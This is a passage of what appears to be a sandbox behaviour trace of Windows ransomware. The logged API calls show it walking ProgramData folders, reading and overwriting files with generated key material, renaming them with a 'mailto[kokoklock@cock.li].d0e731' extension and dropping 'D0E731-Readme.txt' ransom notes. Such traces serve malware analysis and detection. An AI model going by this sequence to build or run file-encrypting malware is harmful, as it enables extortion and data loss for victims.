(hObject=0x328) returned 1 [0072.400] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x98) returned 0x33eae10 [0072.400] wcscpy (in: _Dest=0x33eae10, _Source="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL") returned="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL" [0072.400] wcscat (in: _Dest=0x33eae10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL.mailto[kokoklock@cock.li].d0e731" [0072.400] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\users\\all users\\microsoft\\mf\\active.grl"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\mf\\active.grl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0072.401] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0072.401] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eae10) returned 1 [0072.401] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL", dwFileAttributes=0x20) returned 0 [0072.401] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x347dee0 [0072.401] wcscpy (in: _Dest=0x347dee0, _Source="C:\\Users\\All Users\\Microsoft\\MF\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\") returned="C:\\Users\\All Users\\Microsoft\\MF\\" [0072.401] wcscat (in: _Dest=0x347dee0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\MF\\D0E731-Readme.txt" [0072.401] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\mf\\d0e731-readme.txt")) returned 0xffffffff [0072.401] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\mf\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0072.402] WriteFile (in: hFile=0x328, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x157bfb70, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x157bfb70*=0x481, lpOverlapped=0x0) returned 1 [0072.402] CloseHandle (hObject=0x328) returned 1 [0072.403] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dee0) returned 1 [0072.403] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fd00) returned 1 [0072.403] RtlExitUserThread (Status=0x1) Thread: id = 533 os_tid = 0x10f0 [0072.350] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\users\\all users\\microsoft\\mf\\pending.grl")) returned 0x20 [0072.394] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL", dwFileAttributes=0x20) returned 1 [0072.394] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\users\\all users\\microsoft\\mf\\pending.grl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7d8 [0072.394] GetFileSizeEx (in: hFile=0x7d8, lpFileSize=0x1583ff2c | out: lpFileSize=0x1583ff2c*=14972) returned 1 [0072.394] SetFilePointerEx (in: hFile=0x7d8, liDistanceToMove=0x3a78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.394] ReadFile (in: hFile=0x7d8, lpBuffer=0x1583ff00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1583fefc, lpOverlapped=0x0 | out: lpBuffer=0x1583ff00*, lpNumberOfBytesRead=0x1583fefc*=0x4, lpOverlapped=0x0) returned 1 [0072.403] SetFilePointerEx (in: hFile=0x7d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.404] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea50 [0072.404] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e8e8 [0072.404] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e8c0 [0072.404] NtQuerySystemTime (in: CurrentTime=0x1583fed8 | out: CurrentTime=0x1583fed8*=132121176303002568) returned 0x0 [0072.404] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0x8a4d6483 [0072.404] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0x5fbd15e4 [0072.404] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0xa5242f2b [0072.404] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0xfedc902b [0072.404] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0x2eee98d2 [0072.404] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0x29c5fc5c [0072.404] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0xe7f95084 [0072.404] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0x6019e530 [0072.404] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0x1f974e4f [0072.404] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0xcee1a1f8 [0072.404] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0x68323176 [0072.404] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0xa77c16f [0072.404] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0x6702593e [0072.404] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0x8bafa78a [0072.404] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0xeb6d76a8 [0072.404] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0x89fef16d [0072.404] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0x17efb5fc [0072.404] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0x4becc258 [0072.404] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0x5ffaed23 [0072.404] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0x43b78e37 [0072.404] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0xe1cceff [0072.404] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0xfe3ce07f [0072.404] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0x1747fd6d [0072.404] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0xdcdb9122 [0072.404] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0xc44dd57c [0072.404] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0xea988d65 [0072.405] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0x4cdaf64d [0072.405] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0x4461a207 [0072.405] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0xce9dcda [0072.405] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0x3ae941f [0072.405] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0x213e4c3c [0072.405] RtlRandom (in: Seed=0x1583fee4 | out: Seed=0x1583fee4) returned 0x1e8f46fe [0072.416] ReadFile (in: hFile=0x7d8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x3a7c, lpNumberOfBytesRead=0x1583fed8, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1583fed8*=0x3a7c, lpOverlapped=0x0) returned 1 [0072.490] SetFilePointerEx (in: hFile=0x7d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1583fea0 | out: lpNewFilePointer=0x0) returned 1 [0072.490] WriteFile (in: hFile=0x7d8, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x3a7c, lpNumberOfBytesWritten=0x1583fed4, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x1583fed4*=0x3a7c, lpOverlapped=0x0) returned 1 [0072.490] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea50 [0072.490] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e910 [0072.490] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e910) returned 1 [0072.490] WriteFile (in: hFile=0x7d8, lpBuffer=0x341ea50*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1583fed0, lpOverlapped=0x0 | out: lpBuffer=0x341ea50*, lpNumberOfBytesWritten=0x1583fed0*=0x20, lpOverlapped=0x0) returned 1 [0072.490] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea50) returned 1 [0072.491] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0072.491] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0072.491] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0072.491] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd0d0) returned 1 [0072.491] WriteFile (in: hFile=0x7d8, lpBuffer=0x341e6b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1583fefc, lpOverlapped=0x0 | out: lpBuffer=0x341e6b8*, lpNumberOfBytesWritten=0x1583fefc*=0x8, lpOverlapped=0x0) returned 1 [0072.491] WriteFile (in: hFile=0x7d8, lpBuffer=0x1583ff14*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1583fefc, lpOverlapped=0x0 | out: lpBuffer=0x1583ff14*, lpNumberOfBytesWritten=0x1583fefc*=0x4, lpOverlapped=0x0) returned 1 [0072.491] WriteFile (in: hFile=0x7d8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1583fefc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1583fefc*=0x4, lpOverlapped=0x0) returned 1 [0072.491] WriteFile (in: hFile=0x7d8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1583fefc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1583fefc*=0x6c, lpOverlapped=0x0) returned 1 [0072.491] WriteFile (in: hFile=0x7d8, lpBuffer=0x341e8e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1583fefc, lpOverlapped=0x0 | out: lpBuffer=0x341e8e8*, lpNumberOfBytesWritten=0x1583fefc*=0x20, lpOverlapped=0x0) returned 1 [0072.491] WriteFile (in: hFile=0x7d8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1583fefc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1583fefc*=0x4, lpOverlapped=0x0) returned 1 [0072.491] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e8e8) returned 1 [0072.491] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0072.491] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e6b8) returned 1 [0072.491] CloseHandle (hObject=0x7d8) returned 1 [0072.491] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e6480 [0072.491] wcscpy (in: _Dest=0x33e6480, _Source="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL") returned="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL" [0072.492] wcscat (in: _Dest=0x33e6480, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL.mailto[kokoklock@cock.li].d0e731" [0072.492] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\users\\all users\\microsoft\\mf\\pending.grl"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\mf\\pending.grl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0072.492] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0072.492] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6480) returned 1 [0072.492] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL", dwFileAttributes=0x20) returned 0 [0072.493] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x347e1f0 [0072.493] wcscpy (in: _Dest=0x347e1f0, _Source="C:\\Users\\All Users\\Microsoft\\MF\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\") returned="C:\\Users\\All Users\\Microsoft\\MF\\" [0072.493] wcscat (in: _Dest=0x347e1f0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\MF\\D0E731-Readme.txt" [0072.493] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\mf\\d0e731-readme.txt")) returned 0x20 [0072.493] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e1f0) returned 1 [0072.493] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fe20) returned 1 [0072.493] RtlExitUserThread (Status=0x1) Thread: id = 534 os_tid = 0x10f4 [0072.351] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5e) returned 0x3427000 [0072.351] wcscpy (in: _Dest=0x3427000, _Source="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT" [0072.351] wcscat (in: _Dest=0x3427000, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT\\") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT\\" [0072.351] wcscat (in: _Dest=0x3427000, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT\\*") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT\\*" [0072.351] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ec828 [0072.352] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT\\*", lpFindFileData=0x33ec828 | out: lpFindFileData=0x33ec828*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7b0839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433ea8 [0072.352] wcscmp (_String1=".", _String2=".") returned 0 [0072.352] FindNextFileW (in: hFindFile=0x3433ea8, lpFindFileData=0x33ec828 | out: lpFindFileData=0x33ec828*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7b0839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.352] wcscmp (_String1="..", _String2=".") returned 1 [0072.352] wcscmp (_String1="..", _String2="..") returned 0 [0072.352] FindNextFileW (in: hFindFile=0x3433ea8, lpFindFileData=0x33ec828 | out: lpFindFileData=0x33ec828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig600.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1 [0072.352] wcscmp (_String1="ppcrlconfig600.dll", _String2=".") returned 1 [0072.352] wcscmp (_String1="ppcrlconfig600.dll", _String2="..") returned 1 [0072.352] FindNextFileW (in: hFindFile=0x3433ea8, lpFindFileData=0x33ec828 | out: lpFindFileData=0x33ec828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig600.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 0 [0072.352] FindClose (in: hFindFile=0x3433ea8 | out: hFindFile=0x3433ea8) returned 1 [0072.352] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ec828) returned 1 [0072.352] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427000) returned 1 [0072.352] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427068) returned 1 [0072.352] RtlExitUserThread (Status=0x0) Thread: id = 535 os_tid = 0x10f8 [0072.353] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x3479ad8 [0072.353] wcscpy (in: _Dest=0x3479ad8, _Source="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production" [0072.353] wcscat (in: _Dest=0x3479ad8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\" [0072.354] wcscat (in: _Dest=0x3479ad8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\*") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\*" [0072.354] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ec828 [0072.354] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\*", lpFindFileData=0x33ec828 | out: lpFindFileData=0x33ec828*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433ea8 [0072.354] wcscmp (_String1=".", _String2=".") returned 0 [0072.354] FindNextFileW (in: hFindFile=0x3433ea8, lpFindFileData=0x33ec828 | out: lpFindFileData=0x33ec828*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.354] wcscmp (_String1="..", _String2=".") returned 1 [0072.354] wcscmp (_String1="..", _String2="..") returned 0 [0072.354] FindNextFileW (in: hFindFile=0x3433ea8, lpFindFileData=0x33ec828 | out: lpFindFileData=0x33ec828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97ce8d28, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x60e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig600.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1 [0072.354] wcscmp (_String1="ppcrlconfig600.dll", _String2=".") returned 1 [0072.354] wcscmp (_String1="ppcrlconfig600.dll", _String2="..") returned 1 [0072.354] FindNextFileW (in: hFindFile=0x3433ea8, lpFindFileData=0x33ec828 | out: lpFindFileData=0x33ec828*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="temp", cAlternateFileName="")) returned 1 [0072.354] wcscmp (_String1="temp", _String2=".") returned 1 [0072.354] wcscmp (_String1="temp", _String2="..") returned 1 [0072.354] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd370 [0072.354] wcscpy (in: _Dest=0x33cd370, _Source="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production" [0072.354] wcscat (in: _Dest=0x33cd370, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\" [0072.354] wcscat (in: _Dest=0x33cd370, _Source="temp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp" [0072.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cd370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e4 [0072.769] FindNextFileW (in: hFindFile=0x3433ea8, lpFindFileData=0x33ec828 | out: lpFindFileData=0x33ec828*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="temp", cAlternateFileName="")) returned 0 [0072.769] FindClose (in: hFindFile=0x3433ea8 | out: hFindFile=0x3433ea8) returned 1 [0072.769] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ec828) returned 1 [0072.769] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0072.769] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e490) returned 1 [0072.769] RtlExitUserThread (Status=0x0) Thread: id = 536 os_tid = 0x10fc [0072.355] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x347dc40 [0072.355] wcscpy (in: _Dest=0x347dc40, _Source="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views" [0072.355] wcscat (in: _Dest=0x347dc40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\" [0072.355] wcscat (in: _Dest=0x347dc40, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*" [0072.355] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33eca90 [0072.355] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*", lpFindFileData=0x33eca90 | out: lpFindFileData=0x33eca90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433ee8 [0072.355] wcscmp (_String1=".", _String2=".") returned 0 [0072.355] FindNextFileW (in: hFindFile=0x3433ee8, lpFindFileData=0x33eca90 | out: lpFindFileData=0x33eca90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.355] wcscmp (_String1="..", _String2=".") returned 1 [0072.355] wcscmp (_String1="..", _String2="..") returned 0 [0072.355] FindNextFileW (in: hFindFile=0x3433ee8, lpFindFileData=0x33eca90 | out: lpFindFileData=0x33eca90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 1 [0072.355] wcscmp (_String1="ApplicationViewsRootNode", _String2=".") returned 1 [0072.355] wcscmp (_String1="ApplicationViewsRootNode", _String2="..") returned 1 [0072.355] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x92) returned 0x33eb270 [0072.356] wcscpy (in: _Dest=0x33eb270, _Source="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views") 